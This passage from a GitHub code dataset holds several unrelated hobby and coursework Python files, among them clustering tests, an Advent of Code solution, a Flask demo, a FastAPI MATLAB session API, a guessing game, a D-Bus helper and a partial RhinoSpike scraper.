test_sweep_set():\n # Construct a simple graph to test with\n graph = stag.graph.barbell_graph(4)\n\n # Create the vector to test. The optimal conductance will be the first 4 vertices\n s = scipy.sparse.lil_matrix((8, 1))\n s[0, 0] = 0.1\n s[1, 0] = 0.25\n s[2, 0] = 0.2\n s[3, 0] = 0.15\n s[4, 0] = 0.05\n \n # Compute the sweep set\n sweep_set = stag.cluster.sweep_set_conductance(graph, s)\n assert type(sweep_set) == np.ndarray\n assert set(sweep_set) == {0, 1, 2, 3}\n\n\ndef test_connected_component():\n # Construct a graph with two connected components.\n graph = stag.random.sbm(10, 2, 1, 0)\n cc = stag.cluster.connected_component(graph, 0)\n assert type(cc) == np.ndarray\n assert set(cc) == {0, 1, 2, 3, 4}\n\n\ndef test_connected_components():\n # Construct a graph with two connected components\n graph = stag.random.sbm(10, 2, 1, 0)\n ccs = stag.cluster.connected_components(graph)\n assert type(ccs) == type([[1]])\n assert type(ccs[0]) == np.ndarray\n assert set(ccs[0]) == {0, 1, 2, 3, 4}\n assert set(ccs[1]) == {5, 6, 7, 8, 9}\n\n\ndef test_ari():\n gt_labels = [0, 0, 1, 1, 1, 1, 2, 2, 2, 2]\n labels = [0, 1, 0, 1, 1, 2, 2, 2, 2, 2]\n expected_ari = 0.31257344\n actual_ari = stag.cluster.adjusted_rand_index(gt_labels, labels)\n assert actual_ari == pytest.approx(expected_ari, 0.0001)\n\n # Check that we can pass numpy ndarray to the adjusted rand index\n # method\n labels = np.asarray(labels)\n actual_ari = stag.cluster.adjusted_rand_index(gt_labels, labels)\n assert actual_ari == pytest.approx(expected_ari, 0.0001)\n\n gt_labels = np.asarray(gt_labels)\n actual_ari = stag.cluster.adjusted_rand_index(gt_labels, labels)\n assert actual_ari == pytest.approx(expected_ari, 0.0001)\n\n\ndef test_nmi():\n gt_labels = [0, 0, 1, 1, 1, 1, 2, 2, 2, 2]\n labels = [0, 1, 0, 1, 1, 2, 2, 2, 2, 2]\n expected_nmi = 0.4558585\n actual_nmi = stag.cluster.normalised_mutual_information(gt_labels, labels)\n assert actual_nmi == pytest.approx(expected_nmi, 0.0001)\n\n # Check that we can call with numpy arrays\n actual_nmi = stag.cluster.normalised_mutual_information(np.asarray(gt_labels),\n np.asarray(labels))\n assert actual_nmi == pytest.approx(expected_nmi, 0.0001)\n\n # Check the exact clustering\n labels = [1, 1, 2, 2, 2, 2, 0, 0, 0, 0]\n actual_nmi = stag.cluster.normalised_mutual_information(gt_labels, labels)\n assert actual_nmi == 1\n\n\ndef test_conductance():\n g = stag.graph.barbell_graph(5)\n cluster = [0, 1, 2, 3, 4]\n expected_cond = 1/21\n cond = stag.cluster.conductance(g, cluster)\n assert cond == pytest.approx(expected_cond, 0.0001)\n\n # Try with an ndarray cluster\n cluster = np.asarray(cluster)\n cond = stag.cluster.conductance(g, cluster)\n assert cond == pytest.approx(expected_cond, 0.0001)\n\n\ndef test_sym_diff():\n s = [1, 4, 5, 2, 6]\n t = [1, 5, 3, 7]\n sym_diff = stag.cluster.symmetric_difference(s, t)\n assert set(sym_diff) == {2, 3, 4, 6, 7}\n\n # Check that ndarray arrays work\n s = np.asarray(s)\n t = np.asarray(t)\n sym_diff = stag.cluster.symmetric_difference(s, t)\n assert set(sym_diff) == {2, 3, 4, 6, 7}\n","repo_name":"staglibrary/stagpy","sub_path":"test/test_clustering.py","file_name":"test_clustering.py","file_ext":"py","file_size_in_byte":7559,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"14969791217","text":"from pathlib import Path\n\n\ndef decode(code):\n l, r = 0, (1 << len(code))-1\n for ch in code:\n mid = l + (r-l)//2\n if ch == '0':\n r = mid\n else:\n l = mid+1\n return l\n\n\ndef calculate_seatid(row_number, col_number):\n return row_number*8+col_number\n\n\ndef part1(seat_codes):\n return max(calculate_seatid(decode(row_code), decode(col_code)) for row_code, col_code in seat_codes)\n\n# We can also use a sorted list, but time complexity will be O(NlogN) instead of O(N)\n\n\ndef part2(seat_codes):\n seatids = set([calculate_seatid(decode(row_code), decode(col_code))\n for row_code, col_code in seat_codes])\n l, r = min(seatids), max(seatids)\n for seatid in range(l+1, r):\n if seatid not in seatids:\n return seatid\n return -1\n\n\ndef process_input(file):\n def process_code(code):\n code = code.replace('F', '0').replace(\n 'L', '0').replace('B', '1').replace('R', '1')\n return code[:-3], code[-3:]\n\n return [(row_code, col_code) for row_code, col_code in [process_code(line.rstrip()) for line in file]]\n\n\nif __name__ == \"__main__\":\n script_path = Path(__file__).resolve()\n input_path = script_path.parent / '../inputs' / f'{script_path.stem}.txt'\n\n with input_path.open('r') as f:\n seat_codes = process_input(f)\n print(\"Part 1:\", part1(seat_codes))\n print(\"Part 2:\", part2(seat_codes))\n","repo_name":"FusionX9000/Advent-of-Code-2020","sub_path":"solutions/Day5.py","file_name":"Day5.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20808280195","text":"# CircleTable - Yusuf Elsharawy, Christopher Liu, Naomi Naranjo\n# SoftDev\n# K14 -- Form and Function\n# 2021-10-14\n\nfrom flask import Flask # Facilitate flask webserving\nfrom flask import render_template # Facilitate jinja templating\nfrom flask import request # Facilitate form submission\n\n# Create Flask object\napp = Flask(__name__)\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef disp_loginpage():\n \"\"\"Returns the login page.\"\"\"\n return render_template(\"login.html\")\n\n\n@app.route(\"/auth\", methods=[\"GET\"])\ndef authenticate():\n \"\"\"Returns the responge page, including the username, request method, and\n greeting.\"\"\"\n if app.debug:\n print(\"\\n\\n\\n\")\n print(\"***DIAG: this Flask obj ***\")\n print(app)\n print(\"***DIAG: request obj ***\")\n print(request)\n print(\"***DIAG: request.args ***\")\n print(request.args)\n return render_template(\n \"response.html\", username=request.args[\"username\"], method=request.method\n )\n\n\nif __name__ == \"__main__\": # False if this file imported as module\n # Enable debugging, auto-restarting of server when this file is modified\n app.debug = True\n app.run()\n","repo_name":"Clue88/softdev-workshop","sub_path":"14_form/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70345738294","text":"from src.models.wardDb import WardDb\nfrom src.models.accountDb import AccountDb\nimport re\n\n\n# so sánh chuỗi với chuỗi regex\ndef validate_regex(input_string, regex):\n pattern = re.compile(regex)\n if pattern.fullmatch(input_string):\n return True\n return False\n\n\nclass WardServices:\n\n # Tìm 1 phường/xã trong 1 quận/huyện\n @staticmethod\n def exist_ward(id_acc, ward_id: str):\n # Validate ward_id , đầu vào có 6 chữ số\n regex_id = '^(0[1-9]|[1-9][0-9]){3}$'\n if not validate_regex(ward_id, regex_id):\n return 0 # Invalid ward_id\n elif id_acc != ward_id[0:4]:\n return 1 # not authorized\n ward = WardDb.find_by_id(ward_id)\n if ward:\n return ward\n return None # ward not exist\n\n # Cấp mã cho 1 xã/phường trong 1 huyện -> cấp 2 số\n @staticmethod\n def create_ward(id_acc: str, data: dict):\n ward_id = data[\"wardId\"]\n ward_name = data[\"wardName\"]\n\n # Validate ward_id (đầu vào là 2 số)\n regex_id = '^(0[1-9]|[1-9][0-9])$'\n if not validate_regex(ward_id, regex_id):\n return 0 # Invalid ward_id\n\n # wardId lưu ở database là 6 số\n data[\"wardId\"] = id_acc + ward_id\n if WardDb.find_by_dist_ward_name(id_acc, ward_name):\n return 1 # Tên xã/phường đã có trong quận/huyện\n if WardDb.find_by_id(data[\"wardId\"]):\n return 2 # Id đã được cấp cho xã khác\n w = WardDb(wardId=data[\"wardId\"], wardName=ward_name, districtId=id_acc, completed=None)\n try:\n w.save_to_db()\n except:\n return 3 # error save\n return 4 # added\n\n # Xoá 1 xã/phường khỏi danh sách\n @staticmethod\n def delete_ward(ward: WardDb):\n try:\n ward.delete_from_db()\n except:\n return 1 # err\n return 0 # deleted\n\n # Sửa thông tin 1 xã/phường\n @staticmethod\n def update_ward(id_acc: str, ward: WardDb, data: dict):\n ward_name = data[\"wardName\"]\n\n if ward_name == ward.wardName:\n return 0 # not change\n elif WardDb.find_by_dist_ward_name(id_acc, ward_name):\n return 1 # Name update already exists in other ward\n try:\n ward.wardName = ward_name\n ward.save_to_db()\n except:\n return 2 # error\n return None # updated\n\n # cập nhật tiến độ\n @staticmethod\n def completed(id_acc: str, data: dict):\n ward = WardDb.find_by_id(id_acc)\n completed = data[\"completed\"]\n if ward:\n if completed == ward.completed:\n return 2 # not change\n try:\n ward.completed = completed\n ward.save_to_db()\n except:\n return 3 # error\n return None # updated\n\n # List xã/phường\n @staticmethod\n def list_ward_in_district(dist_id: str):\n # validate\n regex_id = '^(0[1-9]|[1-9][0-9]){2}$'\n if not validate_regex(dist_id, regex_id):\n return 0 # Invalid dist_id\n wards = WardDb.find_by_district_id(dist_id)\n if wards:\n return wards\n return None\n\n @staticmethod\n def list_ward_progress(id: str):\n \"\"\"\n list wards managed by a specific district account\n no need to validate since input of this function is generated by backend\n :param id: account id\n :return: query result\n \"\"\"\n return WardDb.find_join_account(id)\n\n @staticmethod\n def list_ward_allocated(id: str):\n \"\"\"\n list wards managed by a specific district account\n no need to validate since input of this function is generated by backend\n :param id: account id\n :return: query result\n \"\"\"\n return WardDb.find_join_account_allocated(id)\n\n @staticmethod\n def list_ward_progress_specific(id_acc, id_req):\n \"\"\"\n list a specific ward managed by a specific district account\n no need to validate since input of this function is generated by backend\n :param id_acc: account id\n :param id_req: ward request id\n :return: query result\n \"\"\"\n return WardDb.find_join_account_specific(id_acc, id_req)\n\n @staticmethod\n def count_completed_wards(id_district):\n \"\"\"\n count total completed ward given a specific district\n :param id_district: id district\n :return: query result\n \"\"\"\n return WardDb.count_completed(id_district)\n\n @staticmethod\n def count_total_wards(id_district):\n \"\"\"\n count total ward given a specific district\n :param id_district: id district\n :return: query result\n \"\"\"\n return WardDb.count_total(id_district)\n\n @staticmethod\n def get_ward_name(id):\n return str(WardDb.find_ward_name(id)[0])\n\n @staticmethod\n def get_ward_completed(id):\n return WardDb.find_by_id(id).completed\n\n @staticmethod\n def check_exist(id):\n return int(WardDb.check_exist(id)) > 0\n","repo_name":"theminkantoso/citizenV.server","sub_path":"src/services/ward.py","file_name":"ward.py","file_ext":"py","file_size_in_byte":5163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"43213131397","text":"from typing import Optional\nfrom fastapi import FastAPI\nfrom pydantic import BaseModel\nfrom matlab_interface import MatlabInterface\nfrom utils import Utils\nfrom session import Session\nfrom fastapi.middleware.cors import CORSMiddleware\n\nimport json\nimport os\nimport os.path\n\ntags_metadata = [\n {\n \"name\": \"main\",\n \"description\": \"Operations needed for the main application\",\n },\n {\n \"name\": \"extra\",\n \"description\": \"\",\n }\n]\n\napp = FastAPI(title=\"Matlab Online Workspace API\")\n\norigins = [\n \"http://localhost:4200\",\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\nMAX_SESSIONS = 3\nHOME = 'D:\\\\Dropbox\\\\tfg\\\\Shazam-MATLAB\\\\app\\\\'\n\nutils = Utils()\nsessions = [Session(i) for i in range(1, MAX_SESSIONS+1)]\n\n\n@app.get(\"/\")\ndef read_root():\n return {\"Add /docs to URL to acces Matlab Online Workspace API\"}\n\n\ndef getSession(sid: int):\n availables = list(\n filter(lambda s: s.sid == sid, sessions))\n return availables[0] if len(availables) > 0 else None\n\n\n@app.get(\"/sessions\", tags=[\"main\"])\ndef getSessions():\n return {\"sessions\": [s.toJSON() for s in sessions]}\n\n\n@app.get(\"/taskList\", tags=[\"main\"])\ndef tasklist():\n tasks = utils.taskList()\n return utils.toJSON(tasks)\n\n\n@app.get(\"/newSession\", tags=[\"main\"])\ndef newSession():\n availables = list(filter(lambda s: s.pid is None, sessions))\n itsNotFull = len(availables) > 0\n\n if itsNotFull:\n utils.printS('Available Sessions:', availables)\n s = availables[0]\n index = sessions.index(s)\n sessions.pop(index)\n print('Initializing Matlab Session '+str(s.sid)+'...')\n s.matlab = MatlabInterface()\n s.pid = s.matlab.run_command(\"clear,feature('getpid')\", False)\n s.matlab.run_command(\"clear,path(path,'D:\\\\Dropbox\\\\tfg\\\\Shazam-MATLAB\\\\app\\\\')\", False)\n message = 'New Matlab process with PID='+s.pid\n sessions.insert(index, s)\n utils.printS('Updated Sessions: '+message, sessions)\n response = {\"result\": message, \"session\": s.toJSON()}\n else:\n message = 'No available sessions'\n response = {\"result\": message}\n return response\n\n\n@app.get(\"/startMatlab\", tags=[\"main\"])\ndef startMatlab(sid: int):\n response = None\n s = getSession(sid)\n\n isItAvailable = (s is not None) & (s.pid is None)\n\n if isItAvailable:\n utils.printS('Selected Session:', [s])\n index = sessions.index(s)\n sessions.pop(index)\n print('Initializing Matlab Session '+str(sid)+'...')\n s.matlab = MatlabInterface()\n #s.matlab.run_command('checkStart')\n s.pid = s.matlab.run_command(\"clear,feature('getpid')\", False)\n s.matlab.run_command('clear', False)\n message = 'New Matlab process with PID='+s.pid\n sessions.insert(index, s)\n\n utils.printS('Updated Sessions: '+message, sessions)\n response = {\"result\": message, \"session\": s.toJSON()}\n else:\n message = 'Session ' + str(sid)+' not available, already running PID=' + str(s.pid)\n response = {\"result\": message}\n print(message)\n return response\n\n\n@app.get(\"/stopMatlab\", tags=[\"main\"])\ndef stopMatlab(sid: int, restart: Optional[bool] = False):\n option = ' Restart ' if restart else ' Stop '\n print('Session '+str(sid)+option+'Selected')\n session = getSession(sid)\n if hasattr(session, 'matlab') & (session.pid is not None):\n session.matlab.stop()\n session.pid = None\n session.matlabPID = None\n session.matlab = None\n msg = 'Session '+str(sid) + ' stopped'\n response = startMatlab(session.sid) if restart else {\"result\": msg}\n else:\n msg = 'Session '+str(sid) + ' is not currently running!'\n response = {\"result\": msg}\n print(msg)\n return response\n\n\n@app.get(\"/run\", tags=[\"main\"])\ndef run(sid: int, commands: str):\n session = getSession(sid)\n figures = []\n if hasattr(session, 'matlab') & (session.pid is not None):\n print('Session '+str(sid)+': ')\n res = session.matlab.run_command(commands, True)\n figures = session.matlab.run_command('figures', False)\n try:\n figures = figures.replace('\\r', '').replace('\\n', '')\n except:\n figures = figures\n try:\n result = json.loads(res, strict=False)\n except:\n result = res\n try:\n figures = json.loads(figures, strict=False)\n except:\n figures = figures\n else:\n result = 'Session '+str(sid) + ' is not currently running!'\n return {\"result\": result, \"figures\": figures}\n\n\n@app.get(\"/getJSON\", tags=[\"extra\"])\ndef getJSON(fileName: str):\n with open(HOME+'db\\\\json\\\\'+fileName, 'r') as f:\n res = f.read()\n jsonRes = json.loads(res, strict=False)\n return jsonRes\n\n\n@app.get(\"/shouldUpdate\", tags=[\"extra\"])\ndef should_update():\n shouldUpdate = True\n musicDir = HOME+'music'\n fileNames = [filename for filename in os.listdir(musicDir)\n if os.path.isfile(os.path.join(musicDir, filename))]\n\n importedFiles = getJSON('metadata.json')\n sameSize = len(fileNames) <= len(importedFiles)\n\n if sameSize:\n for f in fileNames:\n found = list(filter(lambda i: f in i['Filename'], importedFiles))\n if len(found) > 0:\n shouldUpdate = False\n else:\n shouldUpdate = True\n break\n\n return shouldUpdate\n\n\n@app.post(\"/addTracks\", tags=[\"extra\"])\ndef add_tracks(sid: int):\n session = getSession(sid)\n if hasattr(session, 'matlab') & (session.pid is not None):\n res = session.matlab.run_script('justAddTracks')\n print(res)\n result = getJSON('metadata.json')\n else:\n result = 'Session '+str(sid) + ' is not currently running!'\n return {\"result\": result}\n\n\n@app.post(\"/test_shazam\", tags=[\"extra\"])\ndef test_shazam(sid: int, duration: Optional[int] = 3, wipe: Optional[bool] = False):\n session = getSession(sid)\n if hasattr(session, 'matlab') & (session.pid is not None):\n if wipe | should_update():\n print('Adding tracks...')\n add_tracks(sid)\n\n command = \"test_shazam {} {}\".format(duration, 0)\n result = session.matlab.run_command(command, True)\n print(result)\n print(json.loads(result))\n else:\n result = 'Session '+str(sid) + ' is not currently running!'\n return {\"result\": json.loads(result)}\n","repo_name":"nilodude/mow-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10941446365","text":"\"\"\"\r\nModule to get standarized data set\r\n\"\"\"\r\n\r\nimport reader\r\nimport math\r\nimport pandas as pd\r\n\r\nz_matrix=[]\r\nmatrix = reader.get_matrix()\r\nprint('Building z_matrix...')\r\n\r\n#returns n column from the matrix, without the heading\r\ndef get_col(col_number): \r\n array =[]\r\n for row in matrix:\r\n array.append(row[col_number])\r\n return array[1:]\r\n\r\n#get mean from an array\r\ndef mean(array):\r\n total=0\r\n for i in array:\r\n total=total + float(i)\r\n return total/len(array)\r\n\r\ndef standardDeviation(array, mean):\r\n total=0\r\n for i in array:\r\n total += (float(i)- float(mean))*(float(i) - float(mean))\r\n\r\n total=total/(len(array)-1)\r\n total=math.sqrt(total)\r\n return total\r\n\r\ndef zscore(element,mean,deviation):\r\n return (float(element)-float(mean))/float(deviation)\r\n\r\n#create a new 'z_matrix' with each value normalized\r\ndef normalization():\r\n z_matrix.append(matrix[0])\r\n for i in range(1,len(matrix)):\r\n row=[]\r\n row.append(matrix[i][0])\r\n row.append(matrix[i][1])\r\n for j in range(2,len(matrix[0])): \r\n col=get_col(j)\r\n x=matrix[i][j] \r\n m=mean(col)\r\n d=standardDeviation(col,m)\r\n row.append(round(zscore(x,m,d),2))\r\n z_matrix.append(row)\r\n \r\n\r\ndef get_z_matrix():\r\n return z_matrix\r\n\r\ndef to_csv():\r\n df = pd.DataFrame(z_matrix)\r\n df=df.drop(0) #delete headers\r\n df=df.drop(0,axis=1) #delete 'id' column\r\n df.to_csv(\"z_matrix.csv\", header=None, index=None)\r\n print('z_matrix.csv created!')\r\n\r\nnormalization()\r\nto_csv()\r\n\r\n\r\n\r\n\r\n","repo_name":"jmguevara/Proyecto1_IA","sub_path":"standardization.py","file_name":"standardization.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25124196895","text":"import random\nimport os\nimport sys\nfrom time import sleep\n\n# Pogadjanje broja, svaki put kad pocne partija dato je 5 poena, na svaku gresku se oduzima jedan i ako se stigne do 0, racunar je pobedio, ako ne, korisnik je pobedio i ispisuje se rezultat\n# Ako je na kraju broj poena veci(ili jednak) od proslog High Score, prosli highscore = broj poena i ispisuje se datum i vreme u kojem ja napravljen novi highscore, highscore se moze prikazati pritiskom na taster 2 iz glavnog menija\n# Ideja - postoji text file iz koga ce se citati highscore i tako omoguciti da se highscore sacuva i nakon gasenja programa.\n\ntry:\n file = open('high_score.txt', 'r')\n high_score = file.read()\n high_score = int(high_score[0])\n file.close()\nexcept:\n high_score = 0\n\ndef menu():\n os.system('cls')\n print(\"Enter your choice:\")\n print(\"1. Play\\n2. High Scores\\n3. Exit game\\n\")\n menu_choice = input()\n while menu_choice not in [\"1\", \"2\", \"3\"]:\n print(\"Invalid choice, please choose between 1, 2 and 3...\")\n menu_choice = input()\n if(menu_choice == \"1\"):\n game()\n elif(menu_choice == \"2\"):\n high_scores()\n else:\n exit()\n \n \n\ndef game():\n os.system('cls')\n global name\n name = input(\"What's your name? \\n\")\n print(f\"Hello {name}, welcome to the game!\\n\")\n\n play_game = input(\"Do you want to play the game? Answer with a simple yes/no\\n\").lower()\n\n if(play_game == \"no\"):\n print(\"Okay, have a good one.\")\n exit\n elif(play_game == \"yes\"):\n print(\"Starting the game...\")\n game_start()\n else:\n print(\"That's not a valid option...\")\n exit()\n \ndef game_start():\n global high_name\n global high_score\n global points\n os.system('cls')\n choice = 1\n points = 5\n again = \"yes\"\n\n random_num = random.randint(1, 10)\n print(\"This is a number guessing game, each time you play you'll be guessing a random number that i generated (1-10).\\nAfter each miss, your points will be deducted, and if you reach zero... i win.\")\n sleep(1) # PUT BACK TO 7\n while points > 0 and again == \"yes\":\n os.system('cls')\n print(random_num) # REMOVE\n guess = int(input(\"Input your guess: \"))\n if(guess != random_num):\n print(\"Mistake.\")\n points = points - 1\n print(f\"Total points: {points}\",)\n if(points == 0):\n print(\"You lose...\")\n sleep(1)\n exit()\n else:\n sleep(1)\n else:\n print(f\"Goodjob, you guessed the number! Total amount of points {points}\")\n num = high_score\n if(points > num):\n num = points\n high_name = name\n again = input(\"Do you want to play again? yes/no...\\n\").lower()\n points = 5\n while again not in [\"yes\", \"no\"]:\n again = input(\"Invalid choice, Do you want to play again? yes/no...\\n\").lower()\n os.system('cls')\n print(\"Farewell...\")\n high_score = num\n high_score = str(high_score)\n sleep(1)\n file = open('high_score.txt', 'w')\n file.write(high_score + f\" - {high_name}\")\n file.close()\n menu()\n\ndef high_scores():\n file = open('high_score.txt', 'r')\n high_score = file.read()\n file.close()\n os.system('cls')\n try:\n print(f\"Current highscore: \\n\\n{high_score}\")\n except:\n print(\"There is no new high scores..\")\n sleep(3)\n menu()\n \n\n \n\nif __name__ == '__main__':\n menu()\n \n","repo_name":"Simon0568/PythonProjects","sub_path":"numGuess/numGuess.py","file_name":"numGuess.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4821236287","text":"import numpy as np\ndef elipse_parameters(sub):\n x0 = (np.min(sub['x'])+np.max(sub['x']))/2. #x-position of the center\n y0 = (np.min(sub['y'])+np.max(sub['y']))/2. #y-position of the center\n a = np.absolute(np.min(sub['x'])-np.max(sub['x']))/2.#radius on the x-axis\n b = np.absolute(np.min(sub['y'])-np.max(sub['y']))/2.#radius on the y-axis\n return {\"x0\":x0,\"y0\":y0,\"a\":a,\"b\":b}\n\ndef elipse(sub, error=0.01):\n e = elipse_parameters(sub)\n value = ((sub['x'] - e['x0'])/e['a'])**2 + ((sub['y'] - e['y0'])/e['b'])**2\n indTrue = np.where((value > 1.- error)*(value < 1.+ error))[0]\n #indFalse = np.setdiff1d(np.arange(len(x)),indTrue)\n return indTrue#{\"True\":indTrue,\"False\":indFalse}\n \ndef new_index(sub,Ngrid,nppix, error_elipse=0.01):#numero por pixel\n #timei = time.time()\n nlim = int(nppix)\n ind = []\n xg = np.linspace(sub['x'].min(),sub['x'].max(),endpoint=True,num=Ngrid)\n yg = np.linspace(sub['y'].min(),sub['y'].max(),endpoint=True,num=Ngrid)\n Nx = len(xg)\n Ny = len(yg)\n Xd = sub['x']\n Yd = sub['y']\n for iy in range(Ny-1):\n for ix in range(Nx-1):\n ind_ = np.where((Xd>=xg[ix])*(Xd<=xg[ix+1])*(Yd>=yg[iy])*(Yd<=yg[iy+1]))[0]\n n = len(ind_)\n if n>nlim:\n count = int(n-nlim)\n ind_ = np.random.permutation(ind_)[:count]\n ind = np.concatenate([ind,ind_])\n ind = np.unique(ind).astype(int)\n indn = np.setdiff1d(np.arange(len(Xd)),ind)\n indElipse = elipse(sub, error=0.01)\n indn = np.setdiff1d(indn,indElipse)\n #print(\"tempo: {0:.3f} sec\".format(-timei + time.time()))\n #print(\"antes = {}, depois = {}\".format(len(Xd),len(indn)))\n return indn\n","repo_name":"multinverse/BINGO_OpticalDesign","sub_path":"Resampling.py","file_name":"Resampling.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2485173127","text":"\n\n\n# 这显然是一个二分查找\n\n\ndef searchInsert(nums, target: int) -> int:\n n = len(nums)\n l=0\n r=n-1\n\n while(l<=r):\n mid = (l+r)//2\n if nums[mid]==target:\n # 由于题目给定了无重的条件,可以直接返回\n return mid\n elif nums[mid] > target:\n r = mid-1\n else:\n l = mid+1\n\n return l\n\nprint(searchInsert([1,3,5,6],0))","repo_name":"August1s/LeetCode","sub_path":"Array/No35搜索插入位置.py","file_name":"No35搜索插入位置.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74438670771","text":"import atexit\nfrom threading import Thread, Lock\n\nimport gobject\nimport dbus\nfrom dbus.mainloop.glib import DBusGMainLoop\n\n\nclass Bus(object):\n\n def __init__(self, bus, iface, path):\n self.bus = bus\n self.iface = iface\n self.path = path\n\n def add_callback(self, func, name, iface=None, path=None):\n if iface is None:\n iface = self.iface\n return self.bus.add_signal_receiver(\n func, dbus_interface=iface,\n signal_name=name, path=path)\n\n def get_interface(self, iface=None, path=None):\n if iface is None:\n iface = self.iface\n if path is None:\n path = self.path\n obj = self.bus.get_object(self.iface, path)\n return dbus.Interface(obj, dbus_interface=iface)\n\n def get_prop_interface(self, iface=None, path=None):\n if iface is None:\n iface = self.iface\n return Prop(self.get_interface(dbus.PROPERTIES_IFACE, path), iface)\n\n\n_DBUS_INSTANCE = None\n_DBUS_INSTANCE_LOCK = Lock()\n\nclass Dbus(object):\n\n def __init__(self):\n bus_loop = DBusGMainLoop(set_as_default=True)\n gobject.threads_init()\n dbus.mainloop.glib.threads_init()\n self.main_loop = gobject.MainLoop()\n self.thread = Thread(target=self.main_loop.run,\n name='glib_dbus_main_loop')\n self.thread.daemon = True\n self.thread.start()\n self.system_bus = dbus.SystemBus(mainloop=bus_loop)\n self.session_bus = dbus.SessionBus(mainloop=bus_loop)\n\n def unload(self):\n self.main_loop.quit()\n self.session_bus.close()\n self.system_bus.close()\n self.thread.join()\n\n\ndef get_system_bus(iface, path):\n if _DBUS_INSTANCE is None:\n _init_dbus_instance()\n return Bus(_DBUS_INSTANCE.system_bus, iface, path)\n\ndef get_session_bus(iface, path):\n if _DBUS_INSTANCE is None:\n _init_dbus_instance()\n return Bus(_DBUS_INSTANCE.session_bus, iface, path)\n\n\ndef _init_dbus_instance():\n global _DBUS_INSTANCE\n with _DBUS_INSTANCE_LOCK:\n if _DBUS_INSTANCE is not None:\n return\n _DBUS_INSTANCE = Dbus()\n\n@atexit.register\ndef _unload_dbus_instance():\n global _DBUS_INSTANCE\n with _DBUS_INSTANCE_LOCK:\n if _DBUS_INSTANCE is None:\n return\n _DBUS_INSTANCE.unload()\n _DBUS_INSTANCE = None\n\n\n_DICT_METHODS = set(('keys', 'iterkeys',\n 'values', 'itervalues',\n 'items', 'iteritems'))\n\nclass Prop(object):\n\n def __init__(self, prop, iface):\n self.prop = prop\n self.iface = iface\n\n def __getattr__(self, name):\n if name in _DICT_METHODS:\n return getattr(self.prop.GetAll(self.iface), name)\n return self.prop.Get(self.iface, name)\n\n def __getitem__(self, name):\n return self.prop.Get(self.iface, name)\n\n def __len__(self):\n return len(self.prop.GetAll(self.iface))\n\n def __iter__(self):\n return self.prop.GetAll(self.iface).iterkeys()\n\n def __list__(self):\n return list(self.prop.GetAll(self.iface))\n\n def __contains__(self, item):\n return item in self.prop.GetAll(self.iface)\n","repo_name":"epontan/python-wmiirc-plugins","sub_path":"dbus_instance.py","file_name":"dbus_instance.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13338290163","text":"from lxml import html, etree\r\nimport requests\r\nimport numpy as np\r\nimport sys\r\nimport pickle\r\nimport time #DEBUG\r\n\r\nMIN_WORD_COUNT = 100\r\nMAX_WORD_COUNT = 1500\r\nMIN_RR_OCCURENCE = 3\r\nMIN_RATIO = 0.05\r\nSEARCHED_PHONEME = 'rr'\r\nWEBSITE_LINK = 'https://rhinospike.com'\r\nEMAIL = 'doerinrw'\r\nPASSWORD = 'password'\r\n\r\ndef readLangPage(num):\r\n '''readLangPage\r\n This method is built to read a single page of the \"sort by language\" search pages,\r\n with no search string given. \r\n num: The index of the search page to be processed. \r\n \r\n Returns: A dictionary, containing string URLs of valid pages,\r\n keyed to the ratio of trilled RRs for each.'''\r\n validPages = {}\r\n page = requests.get('https://rhinospike.com/language/spa/recordings/?page=' + str(num))\r\n tree = html.fromstring(page.content)\r\n \r\n \r\n nextTitleTreeName = '//*[@id=\"left_panel\"]/div/div/div/table/tbody/tr/td[2]/div/span[3]/a' \r\n nextWordCountTreeName = '//*[@id=\"left_panel\"]/div/div/div/table/tbody/tr/td[2]/div[3]/span'\r\n\r\n\r\n for i in range(2, 12):\r\n #//*[@id=\"left_panel\"]/div/div[1]/div[2]\r\n #//*[@id=\"left_panel\"]/div/div[1]/div[1]\r\n\r\n #This block gets the title and link from the title element\r\n titleTree = tree.xpath(nextTitleTreeName)\r\n link = WEBSITE_LINK + titleTree[0].get('href')\r\n title = titleTree[0].text\r\n\r\n #This block gets the path to the hidden text using the unique ID number drawn from the link value\r\n recordingIDNumber = link.split('/')[-2]\r\n textTreeName = '//*[@id=\"audio_request_{0}\"]'.format(recordingIDNumber)\r\n textTree = tree.xpath(textTreeName)\r\n\r\n #This block gets the actual text itself\r\n text = ''\r\n for element in textTree[0].getchildren():\r\n paragraphText = element.text\r\n if paragraphText != None:#has to check for breaks that would create a type error\r\n text += paragraphText \r\n \r\n #This block gets the word count total as an integer\r\n wordCountTree = tree.xpath(nextWordCountTreeName)\r\n wordCount = wordCountTree[0].text.split()[0] #gets a string of just the number, without ' Words'\r\n wordCount = int(wordCount)\r\n\r\n\r\n #Now, all that's left is to do analysis of the gathered values, determining validity of the recording. \r\n RRcount = text.count(SEARCHED_PHONEME)\r\n validExample = wordCount > MIN_WORD_COUNT and wordCount < MAX_WORD_COUNT and RRcount >= MIN_RR_OCCURENCE\r\n if validExample:\r\n print('RR count:', RRcount) #DEBUG\r\n validPages[link] = RRcount \r\n\r\n 